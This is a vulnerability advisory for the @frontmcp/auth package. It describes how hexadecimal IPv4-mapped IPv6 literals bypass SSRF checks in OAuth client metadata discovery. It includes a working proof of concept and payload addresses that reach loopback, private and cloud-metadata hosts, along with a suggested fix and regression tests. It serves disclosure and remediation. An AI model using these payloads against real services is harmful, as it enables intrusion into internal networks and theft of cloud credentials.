IPv4-mapped IPv6 literals bypass CIMD SSRF protection in @frontmcp/auth
Description
@frontmcp/auth is vulnerable to a pre-authentication SSRF bypass in its Client-Initiated Metadata Discovery (CIMD) URL validation.
CIMD accepts an HTTPS URL as an OAuth client_id and fetches the referenced metadata document server-side. The implementation includes dedicated SSRF protections intended to block loopback, RFC1918, link-local, and other internal addresses.
However, IPv4-mapped IPv6 addresses are only recognized when written in dotted form:
const ipv4MappedMatch =
normalizedIp.match(
/^::ffff:(\d+\.\d+\.\d+\.\d+)$/
);
if (ipv4MappedMatch) {
return checkIpv4(
ipv4MappedMatch[1]
);
}Node's WHATWG URL parser canonicalizes these addresses into hexadecimal IPv6 form.
For example:
https://[::ffff:127.0.0.1]/xbecomes:
[::ffff:7f00:1]The hexadecimal form does not match the dotted-only validation logic and is subsequently treated as an allowed IPv6 literal.
As a result, addresses such as:
::ffff:7f00:1
::ffff:a00:1
::ffff:a9fe:a9fecan reach:
127.0.0.1
10.0.0.1
169.254.169.254respectively.
The issue was reproduced against the released @frontmcp/auth@1.7.2 package. CimdService successfully fetched a metadata document from a server bound only to 127.0.0.1, while the equivalent direct https://127.0.0.1/... URL was rejected by the SSRF protection.
Details
The CIMD validator explicitly attempts to prevent requests to internal addresses.
IPv4 addresses are checked for blocked ranges such as:
127.0.0.0/8
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
169.254.0.0/16and IPv6 checks cover native ranges such as loopback, link-local and unique-local addresses.
IPv4-mapped IPv6 handling is implemented using a textual regular expression:
const ipv4MappedMatch =
normalizedIp.match(
/^::ffff:(\d+\.\d+\.\d+\.\d+)$/
);
if (ipv4MappedMatch) {
return checkIpv4(
ipv4MappedMatch[1]
);
}This is insufficient because the attacker-controlled URL is parsed before the hostname reaches this logic.
For example:
new URL(
'https://[::ffff:169.254.169.254]/metadata'
).hostnameis canonicalized to:
[::ffff:a9fe:a9fe]The validator therefore receives the hexadecimal form rather than:
::ffff:169.254.169.254The value:
::ffff:a9fe:a9fedoes not match the dotted-form regex.
It then reaches the IPv6 validation path, which does not recognize the IPv4 address embedded in the low 32 bits.
A second protection layer also fails for literal IP addresses.
The hostname resolution check contains logic equivalent to:
if (
isIpAddress(hostname)
) {
return {
allowed: true,
reason: ''
};
}This means a literal hexadecimal IPv4-mapped IPv6 address can bypass both:
- the initial private-address validation; and
- the per-fetch hostname validation.
The resulting attack flow is:
unauthenticated /authorize request
-> attacker-controlled client_id URL
-> URL canonicalizes mapped address to hex
-> CIMD SSRF validation
-> dotted-only IPv4-mapped check misses
-> IPv6 policy allows address
-> literal-IP hostname check returns allowed
-> fetch()
-> operating system routes mapped IPv6 literal to internal IPv4 hostFor example:
::ffff:7f00:1is routed to:
127.0.0.1and:
::ffff:a9fe:a9ferepresents:
169.254.169.254The issue does not require DNS resolution, DNS rebinding, or a race condition.
CIMD is particularly security-sensitive because the URL originates from the OAuth client_id, and CIMD client IDs are intentionally handled as metadata-document URLs.
PoC
The following was reproduced with the released @frontmcp/auth@1.7.2 package.
Create an HTTPS service bound only to:
127.0.0.1:18443and return a valid CIMD metadata document:
{
"client_id": "https://[::ffff:7f00:1]:18443/metadata.json",
"client_name": "internal-data",
"redirect_uris": [
"https://attacker.example/cb"
]
}Use a TLS certificate whose SAN covers the mapped IP literal and trust it in the test environment.
Then execute:
import {
CimdService
} from '@frontmcp/auth';
const mapped =
'https://[::ffff:7f00:1]:18443/metadata.json';
const direct =
'https://127.0.0.1:18443/metadata.json';
const service =
new CimdService(
undefined,
{}
);
const attack =
await service
.resolveClientMetadata(
mapped
);
console.log(
attack
);Observed:
resolveClientMetadata SUCCEEDED
client_name:
internal-data
redirect_uris:
https://attacker.example/cbThe request reached the HTTPS server that was listening only on:
127.0.0.1Now use the direct IPv4 representation as a control:
await service
.resolveClientMetadata(
direct
);Observed:
CimdSecurityError:
CIMD security check failed for
https://127.0.0.1:18443/metadata.json:
Loopback addresses (127.x.x.x)
are not allowedThe relevant behavior is therefore:
https://127.0.0.1:18443/...
-> BLOCKED
https://[::ffff:7f00:1]:18443/...
-> FETCHEDAdditional validator checks reproduced:
::ffff:7f00:1
-> ALLOWED
-> represents 127.0.0.1
::ffff:a00:1
-> ALLOWED
-> represents 10.0.0.1
::ffff:a9fe:a9fe
-> ALLOWED
-> represents 169.254.169.254while the equivalent direct IPv4 forms are rejected.
This confirms that the security boundary failure is caused specifically by the hexadecimal IPv4-mapped IPv6 representation.
Suggested fix
IPv4-mapped IPv6 addresses should be detected structurally rather than through a dotted-decimal-only regular expression.
Normalize any address in:
::ffff:0:0/96to its embedded IPv4 address and then run the existing IPv4 policy.
For example:
function checkIpAddress(
input: string
) {
const normalized =
normalizeIpLiteral(
input
);
const mappedIpv4 =
extractMappedIpv4(
normalized
);
if (mappedIpv4) {
return checkIpv4(
mappedIpv4
);
}
return checkIpv6(
normalized
);
}The hostname-resolution path must also validate literal IP addresses instead of automatically allowing them.
Conceptually:
- if (isIpAddress(hostname)) {
- return {
- allowed: true,
- reason: ''
- };
- }
+ if (isIpAddress(hostname)) {
+ return checkIpAddress(
+ hostname.replace(
+ /^\[|\]$/g,
+ ''
+ )
+ );
+ }The implementation should compare normalized numeric addresses or use a well-tested IP-address library rather than relying on textual representations.
Regression tests should cover at least:
127.0.0.1
::ffff:127.0.0.1
::ffff:7f00:1
10.0.0.1
::ffff:10.0.0.1
::ffff:a00:1
169.254.169.254
::ffff:169.254.169.254
::ffff:a9fe:a9feAll representations of the same blocked IPv4 address must produce the same decision.
As defense in depth, the IP that passed SSRF validation should be pinned to the subsequent network connection so that hostname re-resolution cannot introduce a separate DNS-rebinding bypass.
Impact
An unauthenticated attacker can cause the CIMD metadata-fetching service to connect to IPv4 addresses that the SSRF protection explicitly intends to block.
This includes loopback, RFC1918 private networks, link-local addresses, and cloud metadata addresses represented as hexadecimal IPv4-mapped IPv6 literals.
The demonstrated PoC achieved a full metadata-document fetch from a loopback-only HTTPS service and caused the returned document to be processed as OAuth client metadata.
Where the internal HTTPS service presents a certificate valid for the requested literal, response content can be read and processed by CIMD.
Where TLS validation prevents a complete response read, the request can still reach the internal target after bypassing the SSRF checks, potentially exposing connection, error, status, or timing differences depending on the target.
The vulnerability is reachable before authentication through attacker-controlled CIMD client metadata discovery and does not require DNS rebinding or a race condition.